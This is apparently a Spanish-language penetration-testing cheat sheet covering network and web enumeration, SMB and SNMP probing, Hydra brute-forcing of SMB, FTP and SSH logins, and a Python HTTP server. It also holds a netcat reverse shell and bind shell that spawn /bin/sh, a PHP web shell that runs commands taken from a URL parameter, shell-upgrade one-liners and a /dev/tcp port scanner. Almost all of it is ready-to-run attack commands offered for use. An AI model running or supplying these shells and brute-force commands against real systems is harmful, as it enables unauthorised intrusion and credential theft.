rsae

Contenido

Enumeración

Fping a una red

Mediante el siguiente comando se pueden obtener rápidamente todos los hosts activos dentro de una red:

fping -a -g <1.2.3.4/24> 2>/dev/null 

Se puede obtener el mismo resultado con Nmap:

nmap -sn <1.2.3.4/24>

También se puede hacer con la herramienta Netdiscover

netdiscover

Nmap

Escaneo rápido que muestra las versiones:

nmap -sC -sV <host>

Escaneo con script de vulnerabilidades:

nmap -sC -sV --script vuln <host>

Escaneo agresivo solo de puertos:

nmap -p- --min-rate 5000 -T5 <host>

Detectar el sistema operativo sin hacer ping:

nmap -Pn -O <host>

Escaneo UDP:

nmap -sU -T5 -v <host>

Web

Netcat

Enumeración con Netcat

nc victima.com 80

OPTIONS / HTTP/1.0

Comprobar headers con cURL:

curl -I <host>

WPScan

wpscan --url http://example.com/

Listar plugins en busca de posibles vulnerabilidades:

wpscan --url http://example.com/ --wp-content-dir /wp-content/ --plugins-detection aggressive

Gobuster

Path:

gobuster dir -t 50 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://example.com/

Fuzzing:

gobuster fuzz -t 50 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://example.com/FUZZ

Subdominios:

gobuster dns -d example.com -t 50 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Vhost:

gobuster vhost -u https://example.com -w common-vhosts.txt

WFuzz

wfuzz -c --hc=404 -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://example.com/FUZZ 

Buscar ficheros:

wfuzz -c --hc=404 -z file,/usr/share/wordlists/dirb/big.txt -z file,extensions.txt http://example.com/FUZZ.FUZ2Z 

Wifi

Windows

SMB

Mostrar el nivel de seguridad de SMB:

nmap -p445 --script smb-security-mode <host>

Enumerar los usuarios conectados a un sistema:

nmap -p445 --script smb-enum-sessions <host>

Enumerar recursos compartidos:

nmap -p445 --script smb-enum-shares <host>

Obtener una lista de grupos del sistema:

nmap -p445 --script smb-enum-groups <host>

Mostrar información sobre los archivos compartidos en SMB:

nmap -p445 --script smb-ls <host>

Conectarse a SMB con un usuario guest

smbmap -u guest -p "" -d . -H <host>

Obtener información del sistema operativo:

enum4linux -o <host>

Obtener una lista de usuarios:

enum4linux -U <host>

Obtener credenciales por fuerza bruta:

hydra -l <user> -P <wordlist> <host> smb

Servicios

FTP

Obtener credenciales por fuerza bruta:

hydra -l <user> -P <wordlist> <host> ftp

SSH

Mostrar versión de SSH:

nc <host> 22

Fuerza bruta con nmap:

nmap --script ssh-brute <host> -p22

Obtener credenciales por fuerza bruta:

hydra -l <user> -P <wordlist> <host> ssh

IP Routing

ip route add 1.2.3.4/24 via <router>

Netcat reverse shell

Atacante:

nc -l -p 8888

Víctima:

RHOST=1.2.3.4
RPORT=8888
nc -e /bin/sh $RHOST $RPORT

Netcat bind shell

Víctima:

LPORT=8888
nc -l -p $LPORT -e /bin/sh

Atacante:

nc <victim_ip> 8888

SNMP

El puerto 161 puede dar mucha información sobre el sistema víctima

Obtener community strings por fuerza bruta:

nmap -sU -p 161 --script snmp-brute <host>

Obtener interfaces del sistema:

nmap -sU -p 161 --script snmp-interfaces --script-args creds.snmp=public <host>

Obtener estado de la red:

nmap -sU -p 161 --script snmp-netstat --script-args creds.snmp=public <host>

Obtener procesos del sistema:

nmap -sU -p 161 --script snmp-processes --script-args creds.snmp=public <host>

Extraer información del sistema:

snmpenum <host> public linux.txt

El fichero linux.txt se puede descargar en la documentación de snmpenum

Extraer información más extensa del sistema:

snmpwalk -c public -v2c <host>

Otros

FTP backups script

Script simple escrito en bash para facilitar la subida de archivos a un servidor ftp.

#!/bin/bash
HOST="www.host.com"
USER="user"
PASSWORD="p4ssw0rD"
FILES=$(ls *)

for i in $FILES; do
ftp -inv $HOST <<EOF
user $USER $PASSWORD
put $i
bye
EOF
done

Python HTTP server

Comando para iniciar un servidor HTTP con python en el puerto que nosotros queramos.

python2 -m SimpleHTTPServer 8888        ##### Python2
python3 -m http.server 8888             ##### Python3

Buscar fichero con un string específico

Uso del comando grep para encontrar ficheros que contengan un string específico.

grep -rni '/directorio/' -e 'Texto que queramos buscar'

Ejecutar comandos en bash desde la url

Para ello es necesario utilizar un pequeño script en php

## Name: script.php
<?php
    $command=$_GET['cmd'];

    $output = shell_exec($command);
    echo "<pre>$output</pre>";
?>

Mediante esta url se pueden ejecutar los comandos desde un navegador: http://<ip>/script.php?cmd=<command>

Obtener shell

script -c /bin/bash /dev/null
python -c 'import pty; pty.spawn("/bin/sh")'

Escaneo de puertos sin Nmap

#!/bin/bash
HOST=<host>

for port in {1..65535}; do
  timeout 1 bash -c "echo >/dev/tcp/$HOST/$port" 2>/dev/null &&
    echo "[*] $port is open"
done

Links de interés

Comandos

RevShells
explainshell

Contraseñas

Dashlane
Have I Been Pwned?

URLs:

VirusTotal
DNSdumpster
crt.sh

Datos falsos:

temp-mail
thispersondoesnotexist

Escribir código:

Dillinger Markdown Editor

Osint:

IP Location Finder
ipinfo
Internet Archive
ToolBox
Lampyre
NumLookup
Yandex
Google Dorks

Scripts

PayloadsAllTheThings
3snake
Interactive Shell PHP

Privilege escalation

GTFOBins
linuxprivchecker
LinEnum